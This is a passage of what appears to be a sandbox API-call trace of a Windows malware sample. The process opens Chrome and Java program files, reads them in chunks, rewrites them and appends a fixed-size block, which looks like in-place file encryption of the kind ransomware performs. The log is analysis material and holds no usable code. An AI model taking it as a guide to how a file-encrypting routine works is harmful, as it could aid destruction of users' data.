lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbbd4e [0045.587] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.594] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbbd4e [0045.595] WriteFile (in: hFile=0x1d4, lpBuffer=0x271e0a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x271e0a8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.595] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0045.595] WriteFile (in: hFile=0x1d4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0045.596] WriteFile (in: hFile=0x1d4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.596] CloseHandle (hObject=0x1d4) returned 1 [0045.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0045.596] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.596] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x118671c [0045.596] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0045.596] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.596] ReleaseMutex (hMutex=0x128) returned 1 [0045.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="resources.pak", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0045.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="resources.pak", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="resources.pak", lpUsedDefaultChar=0x0) returned 13 [0045.597] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.606] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.609] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.611] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.616] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.620] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.622] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0045.627] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.630] VirtualQuery (in: lpAddress=0x7eec0000, lpBuffer=0x318f23c, dwLength=0x1c | out: lpBuffer=0x318f23c*(BaseAddress=0x7eec0000, AllocationBase=0x7eec0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0045.630] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ede0000 [0045.635] VirtualFree (lpAddress=0x7ee60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0045.638] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0045.647] ReadFile (in: hFile=0x1d4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0045.989] VirtualQuery (in: lpAddress=0x7ee60000, lpBuffer=0x318f23c, dwLength=0x1c | out: lpBuffer=0x318f23c*(BaseAddress=0x7ee60000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x129000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0045.989] VirtualAlloc (lpAddress=0x7ee60000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ee60000 [0045.989] VirtualAlloc (lpAddress=0x7ee60000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee60000 [0045.990] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x118471c [0045.990] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x318f278*=0x2000, lpOverlapped=0x0) returned 1 [0046.041] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x118471c [0046.043] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0046.050] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x318f258, dwLength=0x1c | out: lpBuffer=0x318f258*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.050] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed40000 [0046.058] VirtualQuery (in: lpAddress=0x7ede0000, lpBuffer=0x318f2b0, dwLength=0x1c | out: lpBuffer=0x318f2b0*(BaseAddress=0x7ede0000, AllocationBase=0x7ede0000, AllocationProtect=0x4, RegionSize=0x80000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.058] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.061] VirtualQuery (in: lpAddress=0x7ee60000, lpBuffer=0x318f2b0, dwLength=0x1c | out: lpBuffer=0x318f2b0*(BaseAddress=0x7ee60000, AllocationBase=0x7ee60000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.061] VirtualFree (lpAddress=0x7ee60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.061] WriteFile (in: hFile=0x1d4, lpBuffer=0x27eacc8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27eacc8*, lpNumberOfBytesWritten=0x318f28c*=0x2588, lpOverlapped=0x0) returned 1 [0046.061] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0046.061] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.062] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.062] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.062] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.062] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.063] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.063] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.063] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.063] WriteFile (in: hFile=0x1d4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.063] VirtualFree (lpAddress=0x7ed40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0046.066] CloseHandle (hObject=0x1d4) returned 1 [0046.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0046.067] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.067] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1ab8 [0046.067] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.067] ReleaseMutex (hMutex=0x128) returned 1 [0046.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20170605115313.pma", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0046.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20170605115313.pma", cchWideChar=18, lpMultiByteStr=0x1e789ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170605115313.pma", lpUsedDefaultChar=0x0) returned 18 [0046.067] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1ab8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x318f2bc*=0x1ab8, lpOverlapped=0x0) returned 1 [0046.086] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0046.086] WriteFile (in: hFile=0x1d4, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x318f2d0*=0x2040, lpOverlapped=0x0) returned 1 [0046.086] CloseHandle (hObject=0x1d4) returned 1 [0046.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\jp2launcher.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0046.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xcda8 [0046.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.088] ReleaseMutex (hMutex=0x128) returned 1 [0046.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jp2launcher.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jp2launcher.exe", cchWideChar=15, lpMultiByteStr=0x1e6322c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jp2launcher.exe", lpUsedDefaultChar=0x0) returned 15 [0046.088] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c358, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.108] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbda8 [0046.108] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.109] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbda8 [0046.109] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.110] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0046.110] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.110] CloseHandle (hObject=0x1d4) returned 1 [0046.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\rmiregistry.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0046.111] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.111] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3da8 [0046.111] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.111] ReleaseMutex (hMutex=0x128) returned 1 [0046.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rmiregistry.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rmiregistry.exe", cchWideChar=15, lpMultiByteStr=0x1e631cc, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rmiregistry.exe", lpUsedDefaultChar=0x0) returned 15 [0046.111] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.571] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2da8 [0046.571] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.587] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2da8 [0046.587] WriteFile (in: hFile=0x1d4, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.588] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0046.588] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.588] CloseHandle (hObject=0x1d4) returned 1 [0046.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\classlist" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.798] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.798] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x12543 [0046.798] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.798] ReleaseMutex (hMutex=0x128) returned 1 [0046.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="classlist", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="classlist", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classlist", lpUsedDefaultChar=0x0) returned 9 [0046.798] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.804] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11543 [0046.804] ReadFile (in: hFile=0x170, lpBuffer=0x261c708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261c708*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.807] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x11543 [0046.807] WriteFile (in: hFile=0x170, lpBuffer=0x26186d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x26186d8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.808] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0046.808] WriteFile (in: hFile=0x170, lpBuffer=0x26186d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x26186d8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.808] CloseHandle (hObject=0x170) returned 1 [0046.808] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0046.808] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.808] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb2c [0046.808] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0046.808] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.808] ReleaseMutex (hMutex=0x128) returned 1 [0046.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.properties", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0046.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.properties", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.properties", lpUsedDefaultChar=0x0) returned 19 [0046.809] ReadFile (in: hFile=0x170, lpBuffer=0x2613678, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f2bc*=0xb2c, lpOverlapped=0x0) returned 1 [0046.816] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0046.816] WriteFile (in: hFile=0x170, lpBuffer=0x26153d8*, nNumberOfBytesToWrite=0x10b4, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26153d8*, lpNumberOfBytesWritten=0x318f2d0*=0x10b4, lpOverlapped=0x0) returned 1 [0046.817] CloseHandle 